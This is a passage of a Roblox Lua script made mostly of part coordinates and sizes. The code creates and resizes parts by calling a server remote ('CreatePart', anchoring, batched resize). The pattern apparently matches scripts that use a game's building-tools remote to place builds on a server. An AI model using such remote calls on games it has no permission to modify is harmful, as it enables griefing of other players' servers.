[482] = {shape="Normal", cframe=CFrame.new(-18.345420837402344,4.500339984893799,-31253.12109375,-0.5110554099082947,0.5191759467124939,-0.6850392818450928,-0.7203088998794556,-0.693554162979126,0.011738089844584465,-0.4690176844596863,0.49943870306015015,0.7284115552902222)},
[603] = {shape="Normal", cframe=CFrame.new(219.48281860351562,162.16168212890625,-31266.8125,0.12504693865776062,-0.6499245762825012,0.7496408224105835,0.5129010081291199,-0.6044307947158813,-0.6095867156982422,0.8492913246154785,0.46071857213974,0.2577647268772125)},
[639] = {shape="Normal", cframe=CFrame.new(223.3950653076172,160.73638916015625,-31266.52734375,0.12504693865776062,-0.6499245762825012,0.7496408224105835,0.5129010081291199,-0.6044307947158813,-0.6095867156982422,0.8492913246154785,0.46071857213974,0.2577647268772125)},
[716] = {shape="Normal", cframe=CFrame.new(284.7107849121094,270.1665954589844,-31296.375,1,0,0,0,1,0,0,0,1)},
[265] = {shape="Normal", cframe=CFrame.new(-35.04931640625,3.898972511291504,-31305.130859375,-0.9998477697372437,0.012317681685090065,0.012369418516755104,-0.00003645522519946098,0.707112193107605,-0.7071014046669006,-0.01745641604065895,-0.7069941163063049,-0.7070040702819824)},
[552] = {shape="Normal", cframe=CFrame.new(209.60763549804688,150.2830810546875,-31292.900390625,0.6287926435470581,0.2447793036699295,-0.7380399703979492,0.7180317044258118,0.18147708475589752,0.6719350218772888,0.29841312766075134,-0.9524437785148621,-0.06164783984422684)},
[709] = {shape="Normal", cframe=CFrame.new(309.9470520019531,256.55255126953125,-31288.033203125,0.3111003041267395,0.848175048828125,0.4287373125553131,-0.36560702323913574,-0.30959707498550415,0.8777706027030945,0.8772389888763428,-0.4298240542411804,0.21378302574157715)},
[674] = {shape="Normal", cframe=CFrame.new(297.7107849121094,270.1665954589844,-31295.375,0.8191556930541992,-0.5735712647438049,0,0.5735712647438049,0.8191556930541992,0,0,0,1)},
[87] = {shape="Normal", cframe=CFrame.new(-46.99794387817383,4.258682727813721,-31305.59765625,-0.9980754256248474,0.0003523360937833786,0.06201586127281189,-0.00012597767636179924,0.9999701976776123,-0.00770878791809082,-0.06201675534248352,-0.007701754570007324,-0.998045802116394)},
[583] = {shape="Normal", cframe=CFrame.new(220.17510986328125,161.09231567382812,-31270.6015625,0.12504693865776062,-0.6499245762825012,0.7496408224105835,0.5129010081291199,-0.6044307947158813,-0.6095867156982422,0.8492913246154785,0.46071857213974,0.2577647268772125)},
[256] = {shape="Normal", cframe=CFrame.new(-47.86479568481445,8.22494125366211,-31304.984375,-0.988540768623352,0.15030381083488464,0.014024630188941956,-0.14638926088809967,-0.9318042993545532,-0.33213087916374207,-0.03685243800282478,-0.330377995967865,0.9431294798851013)},
[105] = {shape="Normal", cframe=CFrame.new(-46.01003646850586,5.03597354888916,-31305.5859375,-0.947405219078064,0.22228989005088806,-0.23024168610572815,0.023203879594802856,0.7652380466461182,0.6433290839195251,0.3191952109336853,0.6041509509086609,-0.7301484942436218)},
[516] = {shape="Normal", cframe=CFrame.new(-16.567602157592773,41.55972671508789,-31282.623046875,-0.07285233587026596,-0.9692605137825012,0.23500338196754456,-0.09894471615552902,-0.22744299471378326,-0.9687516689300537,0.9924225807189941,-0.09382814168930054,-0.07933345437049866)},
[682] = {shape="Normal", cframe=CFrame.new(309.445556640625,254.60745239257812,-31286.69921875,0.3111003041267395,0.848175048828125,0.4287373125553131,-0.36560702323913574,-0.30959707498550415,0.8777706027030945,0.8772389888763428,-0.4298240542411804,0.21378302574157715)},
[485] = {shape="Normal", cframe=CFrame.new(-19.72412872314453,8.098092079162598,-31254.525390625,-0.5110554099082947,0.5191759467124939,-0.6850392818450928,-0.7203088998794556,-0.693554162979126,0.011738089844584465,-0.4690176844596863,0.49943870306015015,0.7284115552902222)},
[564] = {shape="Normal", cframe=CFrame.new(211.0679931640625,151.94725036621094,-31292.20703125,0.6287926435470581,0.2447793036699295,-0.7380399703979492,0.7180317044258118,0.18147708475589752,0.6719350218772888,0.29841312766075134,-0.9524437785148621,-0.06164783984422684)},
[665] = {shape="Normal", cframe=CFrame.new(132.72239685058594,91.77079772949219,-31289.875,0.8089974522590637,-0.5878121852874756,0,0.5878121852874756,0.8089974522590637,0,0,0,1)},
[430] = {shape="Normal", cframe=CFrame.new(435.3618469238281,243.3909912109375,-31274.216796875,0,0,1,0,1,-0,-1,0,0)},
[543] = {shape="Normal", cframe=CFrame.new(211.39398193359375,149.4104461669922,-31296.1640625,-0.7380399703979492,0.2447793036699295,-0.6287926435470581,0.6719350218772888,0.18147708475589752,-0.7180317044258118,-0.06164783984422684,-0.9524437785148621,-0.29841312766075134)},
[662] = {shape="Normal", cframe=CFrame.new(82.23793029785156,42.32733154296875,-31354.85546875,1,0,0,0,1,0,0,0,1)},
[659] = {shape="Truss", cframe=CFrame.new(90.71656799316406,52.378013610839844,-31253.326171875,1,0,0,0,1,0,0,0,1)},
[591] = {shape="Normal", cframe=CFrame.new(216.6319580078125,164.50949096679688,-31265.529296875,0.12504693865776062,-0.9896394610404968,0.07054850459098816,0.5129010081291199,0.003612428903579712,-0.8584401607513428,0.8492913246154785,0.1435297727584839,0.5080388188362122)},
[513] = {shape="Normal", cframe=CFrame.new(-16.667526245117188,41.43668746948242,-31281.416015625,-0.07285233587026596,-0.9692605137825012,0.23500338196754456,-0.09894471615552902,-0.22744299471378326,-0.9687516689300537,0.9924225807189941,-0.09382814168930054,-0.07933345437049866)},
[454] = {shape="Normal", cframe=CFrame.new(435.3638000488281,241.0897216796875,-31278.4296875,0,0,1,0,1,-0,-1,0,0)},
[458] = {shape="Normal", cframe=CFrame.new(435.3638000488281,243.3924560546875,-31282.642578125,0,0,1,0,1,-0,-1,0,0)},
[451] = {shape="Normal", cframe=CFrame.new(435.3618469238281,245.6951904296875,-31278.4296875,0,0,1,0,1,-0,-1,0,0)},
[644] = {shape="Normal", cframe=CFrame.new(22.658018112182617,22.63770294189453,-31273.875,0.8191556930541992,-0.5735712647438049,0,0.5735712647438049,0.8191556930541992,0,0,0,1)},
}
local pending = 0
for id, def in pairs(partDefs) do
pending = pending + 1
task.spawn(function()
local success, part = pcall(function()
return endpoint:InvokeServer("CreatePart", def.shape, def.cframe, workspace)
end)
if success and part then
P[id] = part
syncAnchor(endpoint, part, true)
end
pending = pending - 1
end)
end
while pending > 0 do
task.wait()
end
local resizeBatch = {}
if P[8] then resizeBatch[#resizeBatch+1] = {Part = P[8], CFrame = P[8].CFrame, Size = Vector3.new(1.1999998092651367,0.30000001192092896,0.30000001192092896)} end
if P[9] then resizeBatch[#resizeBatch+1] = {Part = P[9], CFrame = P[9].CFrame, Size = Vector3.new(2.6999998092651367,0.4000000059604645,0.4000000059604645)} end
if P[10] then resizeBatch[#resizeBatch+1] = {Part = P[10], CFrame = P[10].CFrame, Size = Vector3.new(2.6999998092651367,0.4000000059604645,0.4000000059604645)} end
if P[11] then resizeBatch[#resizeBatch+1] = {Part = P[11], CFrame = P[11].CFrame, Size = Vector3.new(2.8999996185302734,0.4000000059604645,0.4000000059604645)} end
if P[12] then resizeBatch[#resizeBatch+1] = {Part = P[12], CFrame = P[12].CFrame, Size = Vector3.new(1.5,0.30000001192092896,0.30000001192092896)} end
if P[14] then resizeBatch[#resizeBatch+1] = {Part = P[14], CFrame = P[14].CFrame, Size = Vector3.new(2.6999998092651367,0.4000000059604645,0.4000000059604645)} end
if P[15] then resizeBatch[#resizeBatch+1] = {Part = P[15], CFrame = P[15].CFrame, Size = Vector3.new(2.6999998092651367,0.4000000059604645,0.4000000059604645)} end
if P[16] then resizeBatch[#resizeBatch+1] = {Part = P[16], CFrame = P[16].CFrame, Size = Vector3.new(2.8999996185302734,0.4000000059604645,0.4000000059604645)} end
if P[17] then resizeBatch[#resizeBatch+1] = {Part = P[17], CFrame = P[17].CFrame, Size = Vector3.new(1.5,0.30000001192092896,0.30000001192092896)} end
if P[18] then resizeBatch[#resizeBatch+1] = {Part = P[18], CFrame = P[18].CFrame, Size = Vector3.new(1.1999998092651367,0.30000001192092896,0.30000001192092896)} end
if P[21] then resizeBatch[#resizeBatch+1] = {Part = P[21], CFrame = P[21].CFrame, Size = Vector3.new(0.4992944002151489,0.6375759840011597,0.30000001192092896)} end
if P[22] then resizeBatch[#resizeBatch+1] = {Part = P[22], CFrame = P[22].CFrame, Size = Vector3.new(0.5733215808868408,0.6485615968704224,0.30000001192092896)} end
if P[23] then resizeBatch[#resizeBatch+1] = {Part = P[23], CFrame = P[23].CFrame, Size = Vector3.new(0.42905598878860474,0.6280192136764526,0.30000001192092896)} end
if P[24] then resizeBatch[#resizeBatch+1] = {Part = P[24], CFrame = P[24].CFrame, Size = Vector3.new(0.42905598878860474,0.6280192136764526,0.30000001192092896)} end
if P[25] then resizeBatch[#resizeBatch+1] = {Part = P[25], CFrame = P[25].CFrame, Size = Vector3.new(0.4521600008010864,0.6187328100204468,0.30000001192092896)} end
if P[26] then resizeBatch[#resizeBatch+1] = {Part = P[26], CFrame = P[26].CFrame, Size = Vector3.new(0.5733215808868408,0.6485615968704224,0.30000001192092896)} end
if P[27] then resizeBatch[#resizeBatch+1] = {Part = P[27], CFrame = P[27].CFrame, Size = Vector3.new(0.5221536159515381,0.6407647728919983,0.30000001192092896)} end
if P[28] then resizeBatch[#resizeBatch+1] = {Part = P[28], CFrame = P[28].CFrame, Size = Vector3.new(0.6408944129943848,0.6514480113983154,0.30000001192092896)} end
if P[29] then resizeBatch[#resizeBatch+1] = {Part = P[29], CFrame = P[29].CFrame, Size = Vector3.new(0.5221536159515381,0.6407647728919983,0.30000001192092896)} end
if P[30] then resizeBatch[#resizeBatch+1] = {Part = P[30], CFrame = P[30].CFrame, Size = Vector3.new(0.5962079763412476,0.6359935998916626,0.30000001192092896)} end
if P[31] then resizeBatch[#resizeBatch+1] = {Part = P[31], CFrame = P[31].CFrame, Size = Vector3.new(0.4992944002151489,0.6375759840011597,0.30000001192092896)} end
if P[32] then resizeBatch[#resizeBatch+1] = {Part = P[32], CFrame = P[32].CFrame, Size = Vector3.new(0.5733215808868408,0.6485615968704224,0.30000001192092896)} end
if P[33] then resizeBatch[#resizeBatch+1] = {Part = P[33], CFrame = P[33].CFrame, Size = Vector3.new(0.05000000074505806,0.05000000074505806,0.05000000074505806)} end
if P[34] then resizeBatch[#resizeBatch+1] = {Part = P[34], CFrame = P[34].CFrame, Size = Vector3.new(0.5268464088439941,0.6231951713562012,0.30000001192092896)} end
if P[35] then resizeBatch[#resizeBatch+1] = {Part = P[35], CFrame = P[35].CFrame, Size = Vector3.new(0.4521600008010864,0.6187328100204468,0.30000001192092896)} end
if P[36] then resizeBatch[#resizeBatch+1] = {Part = P[36], CFrame = P[36].CFrame, Size = Vector3.new(0.7097551822662354,0.6268271803855896,0.30000001192092896)} end
if P[37] then resizeBatch[#resizeBatch+1] = {Part = P[37], CFrame = P[37].CFrame, Size = Vector3.new(0.5271903872489929,0.6485919952392578,0.30000001192092896)} end
if P[38] then resizeBatch[#resizeBatch+1] = {Part = P[38], CFrame = P[38].CFrame, Size = Vector3.new(0.5962079763412476,0.6359935998916626,0.30000001192092896)} end
if P[39] then resizeBatch[#resizeBatch+1] = {Part = P[39], CFrame = P[39].CFrame, Size = Vector3.new(0.5268464088439941,0.6231951713562012,0.30000001192092896)} end
if P[40] then resizeBatch[#resizeBatch+1] = {Part = P[40], CFrame = P[40].CFrame, Size = Vector3.new(0.5962079763412476,0.6359935998916626,0.30000001192092896)} end
if P[41] then resizeBatch[#resizeBatch+1] = {Part = P[41], CFrame = P[41].CFrame, Size = Vector3.new(15.080928802490234,0.6592376232147217,0.30000001192092896)} end
if P[42] then resizeBatch[#resizeBatch+1] = {Part = P[42], CFrame = P[42].CFrame, Size = Vector3.new(0.5563200116157532,0.6237024068832397,0.30000001192092896)} end
if P[43] then resizeBatch[#resizeBatch+1] = {Part = P[43], CFrame = P[43].CFrame, Size = Vector3.new(0.4521600008010864,0.6187328100204468,0.30000001192092896)} end
if P[44] then resizeBatch[#resizeBatch+1] = {Part = P[44], CFrame = P[44].CFrame, Size = Vector3.new(0.6408944129943848,0.6514480113983154,0.30000001192092896)} end
if P[45] then resizeBatch[#resizeBatch+1] = {Part = P[45], CFrame = P[45].CFrame, Size = Vector3.new(0.17777119576931,0.6291071772575378,0.30000001192092896)} end
if P[46] then resizeBatch[#resizeBatch+1] = {Part = P[46], CFrame = P[46].CFrame, Size = Vector3.new(0.4521600008010864,0.6187328100204468,0.30000001192092896)} end
if P[151] then resizeBatch[#resizeBatch+1] = {Part = P[151], CFrame = P[151].CFrame, Size = Vector3.new(2,2,1)} end
if P[673] then resizeBatch[#resizeBatch+1] = {Part = P[673], CFrame = P[673].CFrame, Size = Vector3.new(5,1,5)} end
if P[685] then resizeBatch[#resizeBatch+1] = {Part = P[685], CFrame = P[685].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
if P[706] then resizeBatch[#resizeBatch+1] = {Part = P[706], CFrame = P[706].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
if P[561] then resizeBatch[#resizeBatch+1] = {Part = P[561], CFrame = P[561].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
if P[667] then resizeBatch[#resizeBatch+1] = {Part = P[667], CFrame = P[667].CFrame, Size = Vector3.new(100,1,100)} end
if P[675] then resizeBatch[#resizeBatch+1] = {Part = P[675], CFrame = P[675].CFrame, Size = Vector3.new(2,22,2)} end
if P[736] then resizeBatch[#resizeBatch+1] = {Part = P[736], CFrame = P[736].CFrame, Size = Vector3.new(1.6492947340011597,5.772531509399414,1.649296760559082)} end
if P[519] then resizeBatch[#resizeBatch+1] = {Part = P[519], CFrame = P[519].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
if P[700] then resizeBatch[#resizeBatch+1] = {Part = P[700], CFrame = P[700].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
if P[510] then resizeBatch[#resizeBatch+1] = {Part = P[510], CFrame = P[510].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
if P[587] then resizeBatch[#resizeBatch+1] = {Part = P[587], CFrame = P[587].CFrame, Size = Vector3.new(6.97499942779541,3.4875006675720215,0.38750001788139343)} end
if P[464] then resizeBatch[#resizeBatch+1] = {Part = P[464], CFrame = P[464].CFrame, Size = Vector3.new(4.238623142242432,6.031886100769043,4.2852020263671875)} end
if P[611] then resizeBatch[#resizeBatch+1] = {Part = P[611], CFrame = P[611].CFrame, Size = Vector3.new(2.325000286102295,0.38750001788139343,2.7125003337860107)} end
if P[571] then resizeBatch[#resizeBatch+1] = {Part = P[571], CFrame = P[571].CFrame, Size = Vector3.new(2.325000286102295,0.38750001788139343,2.7125003337860107)} end
if P[635] then resizeBatch[#resizeBatch+1] = {Part = P[635], CFrame = P[635].CFrame, Size = Vector3.new(7.749999523162842,1.1625003814697266,6.975001335144043)} end
if P[166] then resizeBatch[#resizeBatch+1] = {Part = P[166], CFrame = P[166].CFrame, Size = Vector3.new(0.7807660102844238,1.742316484451294,0.8536513447761536)} end
if P[435] then resizeBatch[#resizeBatch+1] = {Part = P[435], CFrame = P[435].CFrame, Size = Vector3.new(8.20067024230957,4.3811798095703125,0.11233796924352646)} end
if P[555] then resizeBatch[#resizeBatch+1] = {Part = P[555], CFrame = P[555].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
if P[175] then resizeBatch[#resizeBatch+1] = {Part = P[175], CFrame = P[175].CFrame, Size = Vector3.new(0.942632257938385,1.2126444578170776,0.7589428424835205)} end
if P[663] then resizeBatch[#resizeBatch+1] = {Part = P[663], CFrame = P[663].CFrame, Size = Vector3.new(7,1,7)} end
if P[579] then resizeBatch[#resizeBatch+1] = {Part = P[579], CFrame = P[579].CFrame, Size = Vector3.new(0.7750000357627869,0.38750001788139343,0.7750000357627869)} end
if P[657] then resizeBatch[#resizeBatch+1] = {Part = P[657], CFrame = P[657].CFrame, Size = Vector3.new(100,1,100)} end
if P[470] then resizeBatch[#resizeBatch+1] = {Part = P[470], CFrame = P[470].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
if P[767] then resizeBatch[#resizeBatch+1] = {Part = P[767], CFrame = P[767].CFrame, Size = Vector3.new(9.895766258239746,0.8246473670005798,0.8246473670005798)} end
if P[491] then resizeBatch[#resizeBatch+1] = {Part = P[491], CFrame = P[491].CFrame, Size = Vector3.new(3.9125752449035645,0.16302397847175598,3.7262632846832275)} end
if P[607] then resizeBatch[#resizeBatch+1] = {Part = P[607], CFrame = P[607].CFrame, Size = Vector3.new(0.7750000357627869,0.38750001788139343,0.7750000357627869)} end
if P[631] then resizeBatch[#resizeBatch+1] = {Part = P[631], CFrame = P[631].CFrame, Size = Vector3.new(7.749999523162842,0.3875000774860382,7.750001430511475)} end
if P[770] then resizeBatch[#resizeBatch+1] = {Part = P[770], CFrame = P[770].CFrame, Size = Vector3.new(9.895766258239746,0.8246473670005798,0.8246473670005798)} end
if P[473] then resizeBatch[#resizeBatch+1] = {Part = P[473], CFrame = P[473].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
if P[694] then resizeBatch[#resizeBatch+1] = {Part = P[694], CFrame = P[694].CFrame, Size = Vector3.new(4.005730628967285,0.18631310760974884,3.6331052780151367)} end
if P[615] then resizeBatch[#resizeBatch+1] = {Part = P[615], CFrame = P[615].CFrame, Size = Vector3.new(0.7750000357627869,0.38750001788139343,0.7750000357627869)} end
if P[428] then resizeBatch[#resizeBatch+1] = {Part = P[428], CFrame = P[428].CFrame, Size = Vector3.new(17,1.5,1.6999998092651367)} end
if P[575] then resizeBatch[#resizeBatch+1] = {Part = P[575], CFrame = P[575].CFrame, Size = Vector3.new(7.750001430511475,1.1625001430511475,0.7750000357627869)} end
if P[627] then resizeBatch[#resizeBatch+1] = {Part = P[627], CFrame = P[627].CFrame, Size = Vector3.new(2.325000286102295,0.38750001788139343,2.7125003337860107)} end
if P[501] then resizeBatch[#resizeBatch+1] = {Part = P[501], CFrame = P[501].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
if P[479] then resizeBatch[#resizeBatch+1] = {Part = P[479], CFrame = P[479].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
if P[676] then resizeBatch[#resizeBatch+1] = {Part = P[676], CFrame = P[676].CFrame, Size = Vector3.new(1387,1,541)} end
if P[595] then resizeBatch[#resizeBatch+1] = {Part = P[595], CFrame = P[595].CFrame, Size = Vector3.new(0.7750000357627869,6.975001335144043,0.38750001788139343)} end
if P[656] then resizeBatch[#resizeBatch+1] = {Part = P[656], CFrame = P[656].CFrame, Size = Vector3.new(1387,1,541)} end
if P[648] then resizeBatch[#resizeBatch+1] = {Part = P[648], CFrame = P[648].CFrame, Size = Vector3.new(12,1,12)} end
if P[78] then resizeBatch[#resizeBatch+1] = {Part = P[78], CFrame = P[78].CFrame, Size = Vector3.new(4,0.5,3)} end
if P[461] then resizeBatch[#resizeBatch+1] = {Part = P[461], CFrame = P[461].CFrame, Size = Vector3.new(8.313007354736328,4.493517875671387,0.11233796924352646)} end
if P[669] then resizeBatch[#resizeBatch+1] = {Part = P[669], CFrame = P[669].CFrame, Size = Vector3.new(1387,1,783)} end
if P[82] then resizeBatch[#resizeBatch+1] = {Part = P[82], CFrame = P[82].CFrame, Size = Vector3.new(1.7598299980163574,1.324947714805603,1.9481749534606934)} end
if P[72] then resizeBatch[#resizeBatch+1] = {Part = P[72], CFrame = P[72].CFrame, Size = Vector3.new(3,0.5,2)} end
if P[540] then resizeBatch[#resizeBatch+1] = {Part = P[540], CFrame = P[540].CFrame, Size = Vector3.new(4.238623142242432,6.031886100769043,4.2852020263671875)} end
if P[703] then resizeBatch[#resizeBatch+1] = {Part = P[703], CFrame = P[703].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
if P[619] then resizeBatch[#resizeBatch+1] = {Part = P[619], CFrame = P[619].CFrame, Size = Vector3.new(2.325000286102295,0.38750001788139343,2.7125003337860107)} end
if P[751] then resizeBatch[#resizeBatch+1] = {Part = P[751], CFrame = P[751].CFrame, Size = Vector3.new(0.8246473670005798,0.8246473670005798,18.142240524291992)} end
if P[522] then resizeBatch[#resizeBatch+1] = {Part = P[522], CFrame = P[522].CFrame, Size = Vector3.new(4.005730628967285,0.18631310760974884,3.6331052780151367)} end
if P[204] then resizeBatch[#resizeBatch+1] = {Part = P[204], CFrame = P[204].CFrame, Size = Vector3.new(1.8390778303146362,1.9012384414672852,1.0733120441436768)} end
if P[114] then resizeBatch[#resizeBatch+1] = {Part = P[114], CFrame = P[114].CFrame, Size = Vector3.new(0.7213894128799438,0.820060670375824,1.2430022954940796)} end
if P[525] then resizeBatch[#resizeBatch+1] = {Part = P[525], CFrame = P[525].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
if P[270] then resizeBatch[#resizeBatch+1] = {Part = P[270], CFrame = P[270].CFrame, Size = Vector3.new(17,0.5,3)} end
if P[664] then resizeBatch[#resizeBatch+1] = {Part = P[664], CFrame = P[664].CFrame, Size = Vector3.new(1,20.1013126373291,98)} end
if P[745] then resizeBatch[#resizeBatch+1] = {Part = P[745], CFrame = P[745].CFrame, Size = Vector3.new(9.895766258239746,0.8246473670005798,18.142240524291992)} end
if P[670] then resizeBatch[#resizeBatch+1] = {Part = P[670], CFrame = P[670].CFrame, Size = Vector3.new(5,1,5)} end
if P[732] then resizeBatch[#resizeBatch+1] = {Part = P[732], CFrame = P[732].CFrame, Size = Vector3.new(16.49294662475586,0.8246473670005798,24.73941993713379)} end
if P[271] then resizeBatch[#resizeBatch+1] = {Part = P[271], CFrame = P[271].CFrame, Size = Vector3.new(15.5,9,0.10000000149011612)} end
if P[532] then resizeBatch[#resizeBatch+1] = {Part = P[532], CFrame = P[532].CFrame, Size = Vector3.new(11.968605995178223,7.213444232940674,24.56649398803711)} end
if P[671] then resizeBatch[#resizeBatch+1] = {Part = P[671], CFrame = P[671].CFrame, Size = Vector3.new(5,1,5)} end
if P[268] then resizeBatch[#resizeBatch+1] = {Part = P[268], CFrame = P[268].CFrame, Size = Vector3.new(15.700000762939453,0.10000000149011612,0.5999998450279236)} end
if P[558] then resizeBatch[#resizeBatch+1] = {Part = P[558], CFrame = P[558].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
if P[567] then resizeBatch[#resizeBatch+1] = {Part = P[567], CFrame = P[567].CFrame, Size = Vector3.new(3.9125752449035645,0.16302397847175598,3.7262632846832275)} end
if P[697] then resizeBatch[#resizeBatch+1] = {Part = P[697], CFrame = P[697].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
if P[691] then resizeBatch[#resizeBatch+1] = {Part = P[691], CFrame = P[691].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
if P[720] then resizeBatch[#resizeBatch+1] = {Part = P[720], CFrame = P[720].CFrame, Size = Vector3.new(9.895766258239746,0.8246473670005798,0.8246473670005798)} end
if P[476] then resizeBatch[#resizeBatch+1] = {Part = P[476], CFrame = P[476].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
if P[653] then resizeBatch[#resizeBatch+1] = {Part = P[653], CFrame = P[653].CFrame, Size = Vector3.new(12,1,12)} end
if P[528] then resizeBatch[#resizeBatch+1] = {Part = P[528], CFrame = P[528].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
if P[677] then resizeBatch[#resizeBatch+1] = {Part = P[677], CFrame = P[677].CFrame, Size = Vector3.new(106,1,122)} end
if P[650] then resizeBatch[#resizeBatch+1] = {Part = P[650], CFrame = P[650].CFrame, Size = Vector3.new(72,1,66.99858093261719)} end
if P[661] then resizeBatch[#resizeBatch+1] = {Part = P[661], CFrame = P[661].CFrame, Size = Vector3.new(2,21,2)} end
if P[599] then resizeBatch[#resizeBatch+1] = {Part = P[599], CFrame = P[599].CFrame, Size = Vector3.new(0.3875000774860382,4.262500762939453,7.750001430511475)} end
if P[498] then resizeBatch[#resizeBatch+1] = {Part = P[498], CFrame = P[498].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
if P[186] then resizeBatch[#resizeBatch+1] = {Part = P[186], CFrame = P[186].CFrame, Size = Vector3.new(1.1643550395965576,1.145603060722351,1.1628893613815308)} end
if P[504] then resizeBatch[#resizeBatch+1] = {Part = P[504], CFrame = P[504].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
if P[646] then resizeBatch[#resizeBatch+1] = {Part = P[646], CFrame = P[646].CFrame, Size = Vector3.new(12,1,12)} end
if P[132] then resizeBatch[#resizeBatch+1] = {Part = P[132], CFrame = P[132].CFrame, Size = Vector3.new(1.6722400188446045,0.6320915222167969,1.0374350547790527)} end
if P[623] then resizeBatch[#resizeBatch+1] = {Part = P[623], CFrame = P[623].CFrame, Size = Vector3.new(0.7750000357627869,0.38750001788139343,0.7750000357627869)} end
if P[488] then resizeBatch[#resizeBatch+1] = {Part = P[488], CFrame = P[488].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
if P[157] then resizeBatch[#resizeBatch+1] = {Part = P[157], CFrame = P[157].CFrame, Size = Vector3.new(0.7213890552520752,1.2634086608886719,0.8536258935928345)} end
if P[507] then resizeBatch[#resizeBatch+1] = {Part = P[507], CFrame = P[507].CFrame, Size = Vector3.new(3.9125752449035645,0.16302397847175598,3.7262632846832275)} end
if P[247] then resizeBatch[#resizeBatch+1] = {Part = P[247], CFrame = P[247].CFrame, Size = Vector3.new(0.7531499862670898,0.8905297517776489,0.7729461193084717)} end
if P[660] then resizeBatch[#resizeBatch+1] = {Part = P[660], CFrame = P[660].CFrame, Size = Vector3.new(2,20.101245880126953,2)} end
if P[672] then resizeBatch[#resizeBatch+1] = {Part = P[672], CFrame = P[672].CFrame, Size = Vector3.new(5,1,5)} end
if P[456] then resizeBatch[#resizeBatch+1] = {Part = P[456], CFrame = P[456].CFrame, Size = Vector3.new(4.156505584716797,0.22467593848705292,0.2246759682893753)} end
if P[467] then resizeBatch[#resizeBatch+1] = {Part = P[467], CFrame = P[467].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
if P[123] then resizeBatch[#resizeBatch+1] = {Part = P[123], CFrame = P[123].CFrame, Size = Vector3.new(0.7531499862670898,0.8905297517776489,0.7729460000991821)} end
if P[773] then resizeBatch[#resizeBatch+1] = {Part = P[773], CFrame = P[773].CFrame, Size = Vector3.new(1.6492947340011597,5.772531509399414,1.649296760559082)} end
if P[652] then resizeBatch[#resizeBatch+1] = {Part = P[652], CFrame = P[652].CFrame, Size = Vector3.new(1387,1,541)} end
if P[655] then resizeBatch[#resizeBatch+1] = {Part = P[655], CFrame = P[655].CFrame, Size = Vector3.new(1385,1,541)} end
if P[688] then resizeBatch[#resizeBatch+1] = {Part = P[688], CFrame = P[688].CFrame, Size = Vector3.new(4.238623142242432,6.031886100769043,4.2852020263671875)} end
if P[761] then resizeBatch[#resizeBatch+1] = {Part = P[761], CFrame = P[761].CFrame, Size = Vector3.new(1.6492947340011597,5.772531509399414,1.649296760559082)} end
if P[755] then resizeBatch[#resizeBatch+1] = {Part = P[755], CFrame = P[755].CFrame, Size = Vector3.new(1.6492947340011597,5.772531509399414,1.649296760559082)} end
if P[549] then resizeBatch[#resizeBatch+1] = {Part = P[549], CFrame = P[549].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
if P[741] then resizeBatch[#resizeBatch+1] = {Part = P[741], CFrame = P[741].CFrame, Size = Vector3.new(0.8246473670005798,0.8246473670005798,18.142240524291992)} end
if P[494] then resizeBatch[#resizeBatch+1] = {Part = P[494], CFrame = P[494].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
if P[433] then resizeBatch[#resizeBatch+1] = {Part = P[433], CFrame = P[433].CFrame, Size = Vector3.new(4.156505584716797,0.22467593848705292,0.22467593848705292)} end
if P[238] then resizeBatch[#resizeBatch+1] = {Part = P[238], CFrame = P[238].CFrame, Size = Vector3.new(0.811855137348175,1.1605454683303833,0.9022700786590576)} end
if P[537] then resizeBatch[#resizeBatch+1] = {Part = P[537], CFrame = P[537].CFrame, Size = Vector3.new(4.005730628967285,0.18631310760974884,3.6331052780151367)} end
if P[729] then resizeBatch[#resizeBatch+1] = {Part = P[729], CFrame = P[729].CFrame, Size = Vector3.new(9.895766258239746,0.8246473670005798,0.8246473670005798)} end
if P[227] then resizeBatch[#resizeBatch+1] = {Part = P[227], CFrame = P[227].CFrame, Size = Vector3.new(0.9424356818199158,1.2126445770263672,0.7589428424835205)} end
if P[712] then resizeBatch[#resizeBatch+1] = {Part = P[712], CFrame = P[712].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
if P[96] then resizeBatch[#resizeBatch+1] = {Part = P[96], CFrame = P[96].CFrame, Size = Vector3.new(0.7807660102844238,1.7423360347747803,0.8535981178283691)} end
if P[546] then resizeBatch[#resizeBatch+1] = {Part = P[546], CFrame = P[546].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
if P[724] then resizeBatch[#resizeBatch+1] = {Part = P[724], CFrame = P[724].CFrame, Size = Vector3.new(0.8246473670005798,0.8246473670005798,18.142240524291992)} end
